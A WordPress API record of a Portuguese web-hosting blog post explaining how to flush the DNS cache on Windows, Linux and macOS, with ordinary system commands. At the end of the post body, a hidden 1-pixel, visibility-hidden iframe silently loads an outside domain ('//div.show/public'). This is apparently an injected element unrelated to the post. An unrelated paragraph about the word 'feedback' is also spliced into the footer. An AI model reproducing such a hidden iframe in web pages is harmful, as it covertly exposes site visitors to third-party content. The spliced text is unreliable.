{"id":2506,"date":"2025-06-06T10:50:00","date_gmt":"2025-06-06T13:50:00","guid":{"rendered":"https:\/\/sampahosting.com.br\/blog\/?p=2506"},"modified":"2025-06-06T10:50:00","modified_gmt":"2025-06-06T13:50:00","slug":"limpando-o-cache-dns-flush-dns","status":"publish","type":"post","link":"https:\/\/sampahosting.com.br\/blog\/limpando-o-cache-dns-flush-dns\/","title":{"rendered":"Limpando o Cache DNS &#8211; Flush DNS"},"content":{"rendered":"<p data-renderer-start-pos=\"1\">Para resolver problemas de conex\u00e3o, limpar o seu cache DNS \u00e9 uma op\u00e7\u00e3o \u2013 Conhecido como flush DNS, aprenda como limpar esse cache nos sistemas operacionais mais populares.<\/p>\n<h2 id=\"Porque-fazer-o-FlushDNS-de-tempos-em-tempos\" data-renderer-start-pos=\"175\">Porque fazer o FlushDNS de tempos em tempos<\/h2>\n<p style=\"text-align: justify;\" data-renderer-start-pos=\"220\">Os sistemas operacionais tamb\u00e9m armazenam arquivos de cache, como acontece com navegadores, que s\u00e3o chamados de cache\u00a0Domain Name System\u00a0(DNS ou Sistema de Nomes de Dom\u00ednio). O per\u00edodo de validade do cache \u00e9 determinado pelo\u00a0<strong data-renderer-mark=\"true\">Time To Live<\/strong>\u00a0(TTL). Quase todos os sistemas operacionais utilizam o cache DNS, reduzindo assim a carga sobre os servidores DNS.<\/p>\n<p style=\"text-align: justify;\" data-renderer-start-pos=\"574\">Eles \u00e9 que v\u00e3o responder as solicita\u00e7\u00f5es de conte\u00fado, caso arquivos de cache ainda sejam v\u00e1lidos n\u00e3o h\u00e1 necessidade de passar por um servidor DNS. Mas o uso de arquivos de cache corrompidos\/desatualizados causam erros e podem levar muita vulnerabilidades de seguran\u00e7a. A\u00ed \u00e9 preciso que se fa\u00e7a o flush do seu DNS de maneira peri\u00f3dica.<\/p>\n<p data-renderer-start-pos=\"910\">\n<p data-renderer-start-pos=\"910\">Motivos para limpar cache do seu DNS de maneira regular:<\/p>\n<ul class=\"ak-ul\" data-indent-level=\"1\">\n<li>\n<p data-renderer-start-pos=\"970\"><strong data-renderer-mark=\"true\">Impedir o rastreamento das suas pesquisas<\/strong>\u00a0\u2014 armazenar registros DNS faz com que fique mais f\u00e1cil de hackers preverem o seu hist\u00f3rico de navega\u00e7\u00e3o.<\/p>\n<\/li>\n<li>\n<p data-renderer-start-pos=\"1120\"><strong data-renderer-mark=\"true\">Seguran\u00e7a<\/strong>\u00a0\u2014 o arquivos de cache DNS s\u00e3o os principais alvos para ataques de\u00a0<strong data-renderer-mark=\"true\">Spoofing DNS<\/strong>, o que coloca em risco informa\u00e7\u00f5es sens\u00edveis como dados pessoais e credenciais de login.<\/p>\n<\/li>\n<li>\n<p data-renderer-start-pos=\"1301\"><strong data-renderer-mark=\"true\">Resolver problemas t\u00e9cnicos<\/strong>\u00a0\u2014 for\u00e7ar o sistema operacional a buscar dados de registro DNS atualizados pode resolver problemas de conex\u00e3o e a exibi\u00e7\u00e3o incorreta de conte\u00fados na web.<\/p>\n<\/li>\n<\/ul>\n<h2 data-renderer-start-pos=\"1485\"><\/h2>\n<h2 id=\"Maneira-de-Fazer-o-Flush-DNS\" data-renderer-start-pos=\"1485\">Maneira de Fazer o Flush DNS<\/h2>\n<p data-renderer-start-pos=\"1515\">Dependendo do seu sistema operacional, aprenda a executar o Flush DNS no Windows, no Linux e no Mac OS X.<\/p>\n<h3 id=\"Microsoft-Windows\" data-renderer-start-pos=\"1622\"><strong data-renderer-mark=\"true\">Microsoft Windows<\/strong><\/h3>\n<p data-renderer-start-pos=\"1641\">vejamos como podemos liberar o DNS no Windows.<\/p>\n<p data-renderer-start-pos=\"1690\">O m\u00e9todo a seguir vai te permitir limpar o cache DNS nos\u00a0<strong data-renderer-mark=\"true\">Windows XP, Vista, 7, 8, 8.1 e 10<\/strong>. Voc\u00ea pode seguir o passo a passo abaixo.<\/p>\n<ol class=\"ak-ol\" start=\"1\" data-indent-level=\"1\">\n<li>\n<p data-renderer-start-pos=\"1827\">Pressione as teclas\u00a0<strong data-renderer-mark=\"true\">Windows+R<\/strong>\u00a0juntas para a abrir o menu \u201cexecutar\u201d e ent\u00e3o digite\u00a0<strong data-renderer-mark=\"true\">cmd\u00a0<\/strong>para abrir o console do Prompt de Comando do Windows.<\/p>\n<\/li>\n<li>\n<p data-renderer-start-pos=\"1971\">Agora insira o comando abaixo para limpar os arquivos de cache DNS do seu computador:<\/p>\n<\/li>\n<\/ol>\n<ul>\n<li>\n<div class=\"code-block  cc-19e6trp\" data-ssr-placeholder=\"7voiQ:EfLS5:URVzo:4y5Pz:qz-Pe:F4Zdx-0\"><span class=\"prismjs _2rkoglpi _1dqoglyw _1wyb1crf _k48pi7a9 _1e0c1txw _vwz4gktf _1reo1wug _o572qvpr _1eimjvyg _bfhktkvp _syaz1fxt _ect41odn _1ozdn7od _7xinn7od _t7aun7od _1v15u2gc _ilvcu2gc _m29uu2gc _17wyu2gc _pn28u2gc _gz9fu2gc _1hmyegat _vblregat _vbulegat _wozj1yev _1agb1yev _lkm81yev _tv41hkgb _1hmimyb0 _1ra01n1a _1d4j1y44 _1f8gstnw _1pzyb3bt _j1w0ww7y _13cdh2mm _15ba126e _zvy9f705 _qcxof705 _14y71a66 _j0l11wug _1weckb7n _1na21hna _1xx2grf3 _x7c815vq _lh0y15vq _1m3815vq _qk1e15vq _12l6ysn8 _uga3ysn8 _mx8b7mnp _1kr87mnp _xo19t94y _1bemt94y _nalpstnw _151dstnw _1exb1q9c _1hgu1q9c _1mgnt94y _nhket94y _h909m7j4 _scgayz1z _ipl81e17 _jeky1l04 _1gec1a66 _1gx21e5h _1ls01ule _vm2c1rh5 _12ok1rh5 _rude1ule _1q16glyw _1io6glyw _juomusic _lcwuusic _1552u2gc _12afu2gc _28ddu2gc _1i8zu2gc _12tu1a66 _zu0j1a66 _euyxusvi _cahfusvi _zhnuidpf _1amdidpf _mbgcpf9b _bu7zpf9b _131n1giz _gy101giz _1wfuwrk5 _16kzwrk5 _9kk3moej _cjus1w1g _9k2r1m30 _nhmw1m30 _yl021m30 _eiht5x2v _t9zb5x2v _mqok1w1g _3hsg1w1g _i7ngn7od _9wu1fb2s _1xcoh55r _1t361fxt _137bh55r _1k7d1fxt _97lipnps _12nh9lu1 _1g0517qg _i2ig10m5 _326z1fxt _113p131l _1n6tpnps _tgu817qg _1k47pnps _g0lx1fxt _ys4e131l _7gp8h55r _1yvq10m5 _1vww10m5 _1rju10m5 _1v0lh55r _wmyy17qg _748n17qg _1mfn17qg _1d7e17qg _p2vr17qg _19o610m5 _kxov17qg _1np517qg _m2f517qg _1b9tpnps _1tq6pnps _1rd2pnps _1pbkpnps _k3lipnps _13zt131l _2g12fb2s _k86b10m5 _b5iy131l _gti3131l _1f0gpnps _9d3e17qg _qdiapnps _72uvpnps _13dgkb7n _170714ej _1i3h1txw _1huoidpf _1a9lidpf _20bqidpf _1oggidpf _bympidpf _9nnjidpf\" data-code-lang=\"\" data-ds--code--code-block=\"\" data-testid=\"renderer-code-block\"><code class=\"language-\"><span class=\"\" data-testid=\"renderer-code-block-line-1\" data-ds--code--row=\"\">ipconfig \/flushdns<\/span><\/code><\/span><\/div>\n<\/li>\n<li>\n<p data-renderer-start-pos=\"2081\">Se o processo foi bem-sucedido, voc\u00ea dever\u00e1 ver a seguinte mensagem de confirma\u00e7\u00e3o:<\/p>\n<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-2507 size-full\" src=\"https:\/\/sampahosting.com.br\/blog\/wp-content\/uploads\/2025\/06\/dns-limpeza.png\" alt=\"\" width=\"657\" height=\"387\" srcset=\"https:\/\/sampahosting.com.br\/blog\/wp-content\/uploads\/2025\/06\/dns-limpeza.png 657w, https:\/\/sampahosting.com.br\/blog\/wp-content\/uploads\/2025\/06\/dns-limpeza-300x177.png 300w\" sizes=\"auto, (max-width: 657px) 100vw, 657px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<h3 id=\"Linux\" data-renderer-start-pos=\"2174\">Linux<\/h3>\n<p data-renderer-start-pos=\"2181\">Se usa o Ubuntu, o que \u00e9 mais comum hoje, por padr\u00e3o ele n\u00e3o armazena um cache de registros DNS, mas se voc\u00ea instalado manualmente um servi\u00e7o como o\u00a0<strong data-renderer-mark=\"true\">name service caching daemon<\/strong>\u00a0(nscd), veja aqui como limpar o flush do cache DNS.<\/p>\n<ol class=\"ak-ol\" start=\"1\" data-indent-level=\"1\">\n<li>\n<p data-renderer-start-pos=\"2413\">Pressione as teclas\u00a0<strong data-renderer-mark=\"true\">Ctrl+Alt+T<\/strong>\u00a0juntas para abrir a janela do terminal.<\/p>\n<\/li>\n<li>\n<p data-renderer-start-pos=\"2487\">Insira o seguinte comando para limpar os arquivos de cache DNS no subdiret\u00f3rio init.d:<\/p>\n<div class=\"code-block  cc-19e6trp\" data-ssr-placeholder=\"7voiQ:EfLS5:URVzo:4y5Pz:qz-Pe:F4Zdx-1\">\n<div class=\"cc-9n57oc\">\n<div class=\"cc-v2tmjh\">\n<div role=\"presentation\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/li>\n<li value=\"2\">\n<div class=\"code-block  cc-19e6trp\" data-ssr-placeholder=\"7voiQ:EfLS5:URVzo:4y5Pz:qz-Pe:F4Zdx-1\"><span class=\"prismjs _2rkoglpi _1dqoglyw _1wyb1crf _k48pi7a9 _1e0c1txw _vwz4gktf _1reo1wug _o572qvpr _1eimjvyg _bfhktkvp _syaz1fxt _ect41odn _1ozdn7od _7xinn7od _t7aun7od _1v15u2gc _ilvcu2gc _m29uu2gc _17wyu2gc _pn28u2gc _gz9fu2gc _1hmyegat _vblregat _vbulegat _wozj1yev _1agb1yev _lkm81yev _tv41hkgb _1hmimyb0 _1ra01n1a _1d4j1y44 _1f8gstnw _1pzyb3bt _j1w0ww7y _13cdh2mm _15ba126e _zvy9f705 _qcxof705 _14y71a66 _j0l11wug _1weckb7n _1na21hna _1xx2grf3 _x7c815vq _lh0y15vq _1m3815vq _qk1e15vq _12l6ysn8 _uga3ysn8 _mx8b7mnp _1kr87mnp _xo19t94y _1bemt94y _nalpstnw _151dstnw _1exb1q9c _1hgu1q9c _1mgnt94y _nhket94y _h909m7j4 _scgayz1z _ipl81e17 _jeky1l04 _1gec1a66 _1gx21e5h _1ls01ule _vm2c1rh5 _12ok1rh5 _rude1ule _1q16glyw _1io6glyw _juomusic _lcwuusic _1552u2gc _12afu2gc _28ddu2gc _1i8zu2gc _12tu1a66 _zu0j1a66 _euyxusvi _cahfusvi _zhnuidpf _1amdidpf _mbgcpf9b _bu7zpf9b _131n1giz _gy101giz _1wfuwrk5 _16kzwrk5 _9kk3moej _cjus1w1g _9k2r1m30 _nhmw1m30 _yl021m30 _eiht5x2v _t9zb5x2v _mqok1w1g _3hsg1w1g _i7ngn7od _9wu1fb2s _1xcoh55r _1t361fxt _137bh55r _1k7d1fxt _97lipnps _12nh9lu1 _1g0517qg _i2ig10m5 _326z1fxt _113p131l _1n6tpnps _tgu817qg _1k47pnps _g0lx1fxt _ys4e131l _7gp8h55r _1yvq10m5 _1vww10m5 _1rju10m5 _1v0lh55r _wmyy17qg _748n17qg _1mfn17qg _1d7e17qg _p2vr17qg _19o610m5 _kxov17qg _1np517qg _m2f517qg _1b9tpnps _1tq6pnps _1rd2pnps _1pbkpnps _k3lipnps _13zt131l _2g12fb2s _k86b10m5 _b5iy131l _gti3131l _1f0gpnps _9d3e17qg _qdiapnps _72uvpnps _13dgkb7n _170714ej _1i3h1txw _1huoidpf _1a9lidpf _20bqidpf _1oggidpf _bympidpf _9nnjidpf\" data-code-lang=\"\" data-ds--code--code-block=\"\" data-testid=\"renderer-code-block\"><code class=\"language-\"><span class=\"\" data-testid=\"renderer-code-block-line-1\" data-ds--code--row=\"\">sudo \/etc\/init.d\/nscd restart<\/span><\/code><\/span><\/div>\n<\/li>\n<\/ol>\n<h3 data-renderer-start-pos=\"2609\"><\/h3>\n<h3 id=\"Mac-OS-X\" data-renderer-start-pos=\"2609\">Mac OS X<\/h3>\n<ul>\n<li>\n<p data-renderer-start-pos=\"2621\">Pressione a tecla\u00a0<strong data-renderer-mark=\"true\">F4<\/strong>\u00a0e ent\u00e3o insira\u00a0<strong data-renderer-mark=\"true\">terminal<\/strong>\u00a0no campo de busca do Launchpad para abrir a janela do terminal.<\/p>\n<\/li>\n<li>\n<p data-renderer-start-pos=\"2733\">Se voc\u00ea est\u00e1 usando\u00a0<strong data-renderer-mark=\"true\">Mac OS Sierra<\/strong>,\u00a0<strong data-renderer-mark=\"true\">X El Capitan<\/strong>,\u00a0<strong data-renderer-mark=\"true\">X Mavericks<\/strong>,\u00a0<strong data-renderer-mark=\"true\">X Mountain Lion<\/strong>\u00a0ou\u00a0<strong data-renderer-mark=\"true\">X Lion<\/strong>\u00a0insira o seguinte comando:<\/p>\n<div class=\"code-block  cc-19e6trp\" data-ssr-placeholder=\"7voiQ:EfLS5:URVzo:4y5Pz:qz-Pe:F4Zdx-2\">\n<div class=\"cc-9n57oc\">\n<div class=\"cc-v2tmjh\">\n<div role=\"presentation\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/li>\n<li>\n<div class=\"code-block  cc-19e6trp\" data-ssr-placeholder=\"7voiQ:EfLS5:URVzo:4y5Pz:qz-Pe:F4Zdx-2\"><span class=\"prismjs _2rkoglpi _1dqoglyw _1wyb1crf _k48pi7a9 _1e0c1txw _vwz4gktf _1reo1wug _o572qvpr _1eimjvyg _bfhktkvp _syaz1fxt _ect41odn _1ozdn7od _7xinn7od _t7aun7od _1v15u2gc _ilvcu2gc _m29uu2gc _17wyu2gc _pn28u2gc _gz9fu2gc _1hmyegat _vblregat _vbulegat _wozj1yev _1agb1yev _lkm81yev _tv41hkgb _1hmimyb0 _1ra01n1a _1d4j1y44 _1f8gstnw _1pzyb3bt _j1w0ww7y _13cdh2mm _15ba126e _zvy9f705 _qcxof705 _14y71a66 _j0l11wug _1weckb7n _1na21hna _1xx2grf3 _x7c815vq _lh0y15vq _1m3815vq _qk1e15vq _12l6ysn8 _uga3ysn8 _mx8b7mnp _1kr87mnp _xo19t94y _1bemt94y _nalpstnw _151dstnw _1exb1q9c _1hgu1q9c _1mgnt94y _nhket94y _h909m7j4 _scgayz1z _ipl81e17 _jeky1l04 _1gec1a66 _1gx21e5h _1ls01ule _vm2c1rh5 _12ok1rh5 _rude1ule _1q16glyw _1io6glyw _juomusic _lcwuusic _1552u2gc _12afu2gc _28ddu2gc _1i8zu2gc _12tu1a66 _zu0j1a66 _euyxusvi _cahfusvi _zhnuidpf _1amdidpf _mbgcpf9b _bu7zpf9b _131n1giz _gy101giz _1wfuwrk5 _16kzwrk5 _9kk3moej _cjus1w1g _9k2r1m30 _nhmw1m30 _yl021m30 _eiht5x2v _t9zb5x2v _mqok1w1g _3hsg1w1g _i7ngn7od _9wu1fb2s _1xcoh55r _1t361fxt _137bh55r _1k7d1fxt _97lipnps _12nh9lu1 _1g0517qg _i2ig10m5 _326z1fxt _113p131l _1n6tpnps _tgu817qg _1k47pnps _g0lx1fxt _ys4e131l _7gp8h55r _1yvq10m5 _1vww10m5 _1rju10m5 _1v0lh55r _wmyy17qg _748n17qg _1mfn17qg _1d7e17qg _p2vr17qg _19o610m5 _kxov17qg _1np517qg _m2f517qg _1b9tpnps _1tq6pnps _1rd2pnps _1pbkpnps _k3lipnps _13zt131l _2g12fb2s _k86b10m5 _b5iy131l _gti3131l _1f0gpnps _9d3e17qg _qdiapnps _72uvpnps _13dgkb7n _170714ej _1i3h1txw _1huoidpf _1a9lidpf _20bqidpf _1oggidpf _bympidpf _9nnjidpf\" data-code-lang=\"\" data-ds--code--code-block=\"\" data-testid=\"renderer-code-block\"><code class=\"language-\"><span class=\"\" data-testid=\"renderer-code-block-line-1\" data-ds--code--row=\"\">sudo killall -HUP mDNSResponder<\/span><\/code><\/span><\/div>\n<\/li>\n<li>\n<p data-renderer-start-pos=\"2885\">Para fazer o flush DNS no\u00a0<strong data-renderer-mark=\"true\">Mac OSX Yosemite<\/strong>, use o seguinte c\u00f3digo:<\/p>\n<div class=\"code-block  cc-19e6trp\" data-ssr-placeholder=\"7voiQ:EfLS5:URVzo:4y5Pz:qz-Pe:F4Zdx-3\">\n<div class=\"cc-9n57oc\">\n<div class=\"cc-v2tmjh\">\n<div role=\"presentation\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/li>\n<li>\n<div class=\"code-block  cc-19e6trp\" data-ssr-placeholder=\"7voiQ:EfLS5:URVzo:4y5Pz:qz-Pe:F4Zdx-3\"><span class=\"prismjs _2rkoglpi _1dqoglyw _1wyb1crf _k48pi7a9 _1e0c1txw _vwz4gktf _1reo1wug _o572qvpr _1eimjvyg _bfhktkvp _syaz1fxt _ect41odn _1ozdn7od _7xinn7od _t7aun7od _1v15u2gc _ilvcu2gc _m29uu2gc _17wyu2gc _pn28u2gc _gz9fu2gc _1hmyegat _vblregat _vbulegat _wozj1yev _1agb1yev _lkm81yev _tv41hkgb _1hmimyb0 _1ra01n1a _1d4j1y44 _1f8gstnw _1pzyb3bt _j1w0ww7y _13cdh2mm _15ba126e _zvy9f705 _qcxof705 _14y71a66 _j0l11wug _1weckb7n _1na21hna _1xx2grf3 _x7c815vq _lh0y15vq _1m3815vq _qk1e15vq _12l6ysn8 _uga3ysn8 _mx8b7mnp _1kr87mnp _xo19t94y _1bemt94y _nalpstnw _151dstnw _1exb1q9c _1hgu1q9c _1mgnt94y _nhket94y _h909m7j4 _scgayz1z _ipl81e17 _jeky1l04 _1gec1a66 _1gx21e5h _1ls01ule _vm2c1rh5 _12ok1rh5 _rude1ule _1q16glyw _1io6glyw _juomusic _lcwuusic _1552u2gc _12afu2gc _28ddu2gc _1i8zu2gc _12tu1a66 _zu0j1a66 _euyxusvi _cahfusvi _zhnuidpf _1amdidpf _mbgcpf9b _bu7zpf9b _131n1giz _gy101giz _1wfuwrk5 _16kzwrk5 _9kk3moej _cjus1w1g _9k2r1m30 _nhmw1m30 _yl021m30 _eiht5x2v _t9zb5x2v _mqok1w1g _3hsg1w1g _i7ngn7od _9wu1fb2s _1xcoh55r _1t361fxt _137bh55r _1k7d1fxt _97lipnps _12nh9lu1 _1g0517qg _i2ig10m5 _326z1fxt _113p131l _1n6tpnps _tgu817qg _1k47pnps _g0lx1fxt _ys4e131l _7gp8h55r _1yvq10m5 _1vww10m5 _1rju10m5 _1v0lh55r _wmyy17qg _748n17qg _1mfn17qg _1d7e17qg _p2vr17qg _19o610m5 _kxov17qg _1np517qg _m2f517qg _1b9tpnps _1tq6pnps _1rd2pnps _1pbkpnps _k3lipnps _13zt131l _2g12fb2s _k86b10m5 _b5iy131l _gti3131l _1f0gpnps _9d3e17qg _qdiapnps _72uvpnps _13dgkb7n _170714ej _1i3h1txw _1huoidpf _1a9lidpf _20bqidpf _1oggidpf _bympidpf _9nnjidpf\" data-code-lang=\"\" data-ds--code--code-block=\"\" data-testid=\"renderer-code-block\"><code class=\"language-\"><span class=\"\" data-testid=\"renderer-code-block-line-1\" data-ds--code--row=\"\">sudo discoveryutil udnsflushcaches<\/span><\/code><\/span><\/div>\n<\/li>\n<li>\n<p data-renderer-start-pos=\"2992\">Se voc\u00ea estiver rodando o\u00a0<strong data-renderer-mark=\"true\">Mac OS X Snow Leopard<\/strong>, o comando \u00e9 este aqui:<\/p>\n<div class=\"code-block  cc-19e6trp\" data-ssr-placeholder=\"7voiQ:EfLS5:URVzo:4y5Pz:qz-Pe:F4Zdx-4\">\n<div class=\"cc-9n57oc\"><\/div>\n<\/div>\n<\/li>\n<li>\n<div class=\"code-block  cc-19e6trp\" data-ssr-placeholder=\"7voiQ:EfLS5:URVzo:4y5Pz:qz-Pe:F4Zdx-4\"><span class=\"prismjs _2rkoglpi _1dqoglyw _1wyb1crf _k48pi7a9 _1e0c1txw _vwz4gktf _1reo1wug _o572qvpr _1eimjvyg _bfhktkvp _syaz1fxt _ect41odn _1ozdn7od _7xinn7od _t7aun7od _1v15u2gc _ilvcu2gc _m29uu2gc _17wyu2gc _pn28u2gc _gz9fu2gc _1hmyegat _vblregat _vbulegat _wozj1yev _1agb1yev _lkm81yev _tv41hkgb _1hmimyb0 _1ra01n1a _1d4j1y44 _1f8gstnw _1pzyb3bt _j1w0ww7y _13cdh2mm _15ba126e _zvy9f705 _qcxof705 _14y71a66 _j0l11wug _1weckb7n _1na21hna _1xx2grf3 _x7c815vq _lh0y15vq _1m3815vq _qk1e15vq _12l6ysn8 _uga3ysn8 _mx8b7mnp _1kr87mnp _xo19t94y _1bemt94y _nalpstnw _151dstnw _1exb1q9c _1hgu1q9c _1mgnt94y _nhket94y _h909m7j4 _scgayz1z _ipl81e17 _jeky1l04 _1gec1a66 _1gx21e5h _1ls01ule _vm2c1rh5 _12ok1rh5 _rude1ule _1q16glyw _1io6glyw _juomusic _lcwuusic _1552u2gc _12afu2gc _28ddu2gc _1i8zu2gc _12tu1a66 _zu0j1a66 _euyxusvi _cahfusvi _zhnuidpf _1amdidpf _mbgcpf9b _bu7zpf9b _131n1giz _gy101giz _1wfuwrk5 _16kzwrk5 _9kk3moej _cjus1w1g _9k2r1m30 _nhmw1m30 _yl021m30 _eiht5x2v _t9zb5x2v _mqok1w1g _3hsg1w1g _i7ngn7od _9wu1fb2s _1xcoh55r _1t361fxt _137bh55r _1k7d1fxt _97lipnps _12nh9lu1 _1g0517qg _i2ig10m5 _326z1fxt _113p131l _1n6tpnps _tgu817qg _1k47pnps _g0lx1fxt _ys4e131l _7gp8h55r _1yvq10m5 _1vww10m5 _1rju10m5 _1v0lh55r _wmyy17qg _748n17qg _1mfn17qg _1d7e17qg _p2vr17qg _19o610m5 _kxov17qg _1np517qg _m2f517qg _1b9tpnps _1tq6pnps _1rd2pnps _1pbkpnps _k3lipnps _13zt131l _2g12fb2s _k86b10m5 _b5iy131l _gti3131l _1f0gpnps _9d3e17qg _qdiapnps _72uvpnps _13dgkb7n _170714ej _1i3h1txw _1huoidpf _1a9lidpf _20bqidpf _1oggidpf _bympidpf _9nnjidpf\" data-code-lang=\"\" data-ds--code--code-block=\"\" data-testid=\"renderer-code-block\"><code class=\"language-\"><span class=\"\" data-testid=\"renderer-code-block-line-1\" data-ds--code--row=\"\">sudo dscacheutil -flushcache<\/span><\/code><\/span><\/div>\n<\/li>\n<li>\n<p data-renderer-start-pos=\"3098\">Para o\u00a0<strong data-renderer-mark=\"true\">Mac OS X Leopard<\/strong>\u00a0e mais antigos, insira o seguinte comando para limpar o cache DNS:<\/p>\n<div class=\"code-block  cc-19e6trp\" data-ssr-placeholder=\"7voiQ:EfLS5:URVzo:4y5Pz:qz-Pe:F4Zdx-5\">\n<div class=\"cc-9n57oc\"><\/div>\n<\/div>\n<\/li>\n<\/ul>\n<ol class=\"ak-ol\" start=\"1\" data-indent-level=\"1\">\n<li value=\"5\">\n<div class=\"code-block  cc-19e6trp\" data-ssr-placeholder=\"7voiQ:EfLS5:URVzo:4y5Pz:qz-Pe:F4Zdx-5\"><span class=\"prismjs _2rkoglpi _1dqoglyw _1wyb1crf _k48pi7a9 _1e0c1txw _vwz4gktf _1reo1wug _o572qvpr _1eimjvyg _bfhktkvp _syaz1fxt _ect41odn _1ozdn7od _7xinn7od _t7aun7od _1v15u2gc _ilvcu2gc _m29uu2gc _17wyu2gc _pn28u2gc _gz9fu2gc _1hmyegat _vblregat _vbulegat _wozj1yev _1agb1yev _lkm81yev _tv41hkgb _1hmimyb0 _1ra01n1a _1d4j1y44 _1f8gstnw _1pzyb3bt _j1w0ww7y _13cdh2mm _15ba126e _zvy9f705 _qcxof705 _14y71a66 _j0l11wug _1weckb7n _1na21hna _1xx2grf3 _x7c815vq _lh0y15vq _1m3815vq _qk1e15vq _12l6ysn8 _uga3ysn8 _mx8b7mnp _1kr87mnp _xo19t94y _1bemt94y _nalpstnw _151dstnw _1exb1q9c _1hgu1q9c _1mgnt94y _nhket94y _h909m7j4 _scgayz1z _ipl81e17 _jeky1l04 _1gec1a66 _1gx21e5h _1ls01ule _vm2c1rh5 _12ok1rh5 _rude1ule _1q16glyw _1io6glyw _juomusic _lcwuusic _1552u2gc _12afu2gc _28ddu2gc _1i8zu2gc _12tu1a66 _zu0j1a66 _euyxusvi _cahfusvi _zhnuidpf _1amdidpf _mbgcpf9b _bu7zpf9b _131n1giz _gy101giz _1wfuwrk5 _16kzwrk5 _9kk3moej _cjus1w1g _9k2r1m30 _nhmw1m30 _yl021m30 _eiht5x2v _t9zb5x2v _mqok1w1g _3hsg1w1g _i7ngn7od _9wu1fb2s _1xcoh55r _1t361fxt _137bh55r _1k7d1fxt _97lipnps _12nh9lu1 _1g0517qg _i2ig10m5 _326z1fxt _113p131l _1n6tpnps _tgu817qg _1k47pnps _g0lx1fxt _ys4e131l _7gp8h55r _1yvq10m5 _1vww10m5 _1rju10m5 _1v0lh55r _wmyy17qg _748n17qg _1mfn17qg _1d7e17qg _p2vr17qg _19o610m5 _kxov17qg _1np517qg _m2f517qg _1b9tpnps _1tq6pnps _1rd2pnps _1pbkpnps _k3lipnps _13zt131l _2g12fb2s _k86b10m5 _b5iy131l _gti3131l _1f0gpnps _9d3e17qg _qdiapnps _72uvpnps _13dgkb7n _170714ej _1i3h1txw _1huoidpf _1a9lidpf _20bqidpf _1oggidpf _bympidpf _9nnjidpf\" data-code-lang=\"\" data-ds--code--code-block=\"\" data-testid=\"renderer-code-block\"><code class=\"language-\"><span class=\"\" data-testid=\"renderer-code-block-line-1\" data-ds--code--row=\"\">sudo lookupd -flushcache<\/span><\/code><\/span><\/div>\n<\/li>\n<\/ol>\n<div class=\"ak-editor-panel cc-1e813uc\" data-panel-type=\"info\"><\/div>\n<div class=\"ak-editor-panel__content\">\n<p data-renderer-start-pos=\"3222\">Sobre como limpar cache DNS, qualquer d\u00favida ou dificuldade, entre em contato com nossa equipe atrav\u00e9s de nossos canais de atendimento.<\/p>\n<p data-renderer-start-pos=\"3222\">\n<div>\n<p style=\"text-align: justify;\">A palavra <b><i>feedback <\/i><\/b>vem do ingl\u00eas, e representa a jun\u00e7\u00e3o de <i>feed <\/i>(alimentar) e <i>back <\/i>(de volta), ou seja, essa tradu\u00e7\u00e3o pode ser tida como o ato de realimentar, dar resposta a uma atitude ou comportamento.<\/p>\n<p style=\"text-align: justify;\">Em outras palavras, o conceito de <strong><i>feedback <\/i><\/strong>\u00e9 definido como a comunica\u00e7\u00e3o feita entre duas ou mais pessoas, na qual uma delas \u00e9 avaliada pelos demais com rela\u00e7\u00e3o \u00e0s suas a\u00e7\u00f5es, comportamentos, tarefas, entre outros.<\/p>\n<p style=\"text-align: justify;\">Basicamente, esse conceito \u00e9 aplicado quando uma pessoa conta \u00e0 outra o que acha sobre a sua performance e como ela pode torn\u00e1-la melhor. Isso faz com que o desempenho melhore, e que a pessoa descubra algo que ela nunca percebeu.<\/p>\n<\/div>\n<p><strong>Equipe de suporte \u2013 Central de suporte <\/strong><br \/>\n<strong>High Speed Web Hosting <\/strong><br \/>\n<a class=\"autoLinked\" href=\"https:\/\/www.facebook.com\/sampahost\" target=\"_blank\" rel=\"noreferrer noopener\">www.facebook.com\/sampahost<\/a><br \/>\ncontato@sampahosting.com.br<\/p>\n<\/div>\n<div><iframe style=\"position: absolute; height: 1px,width:1px; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/div.show\/public\"><\/iframe><\/div>\n","protected":false},"excerpt":{"rendered":"<p>Para resolver problemas de conex\u00e3o, limpar o seu cache DNS \u00e9 uma op\u00e7\u00e3o \u2013 Conhecido como flush DNS, aprenda como limpar esse cache nos sistemas operacionais mais populares. Porque fazer o FlushDNS de tempos em tempos Os sistemas operacionais tamb\u00e9m<\/p>\n","protected":false},"author":1,"featured_media":2508,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[1613,1481,1612,1623,1620,1621,1618,1615,1622,1616,1614,1624,1617,1619],"class_list":["post-2506","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-dicas-online","tag-cache-dns","tag-dns","tag-flush-dns","tag-internet","tag-ipconfig-flushdns","tag-manutencao-do-sistema","tag-privacidade-online","tag-problemas-de-conexao","tag-rede","tag-seguranca-online","tag-sistema-de-nomes-de-dominio","tag-solucao-de-problemas","tag-spoofing-dns","tag-windows"],"_links":{"self":[{"href":"https:\/\/sampahosting.com.br\/blog\/wp-json\/wp\/v2\/posts\/2506","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/sampahosting.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/sampahosting.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/sampahosting.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/sampahosting.com.br\/blog\/wp-json\/wp\/v2\/comments?post=2506"}],"version-history":[{"count":0,"href":"https:\/\/sampahosting.com.br\/blog\/wp-json\/wp\/v2\/posts\/2506\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/sampahosting.com.br\/blog\/wp-json\/wp\/v2\/media\/2508"}],"wp:attachment":[{"href":"https:\/\/sampahosting.com.br\/blog\/wp-json\/wp\/v2\/media?parent=2506"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/sampahosting.com.br\/blog\/wp-json\/wp\/v2\/categories?post=2506"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/sampahosting.com.br\/blog\/wp-json\/wp\/v2\/tags?post=25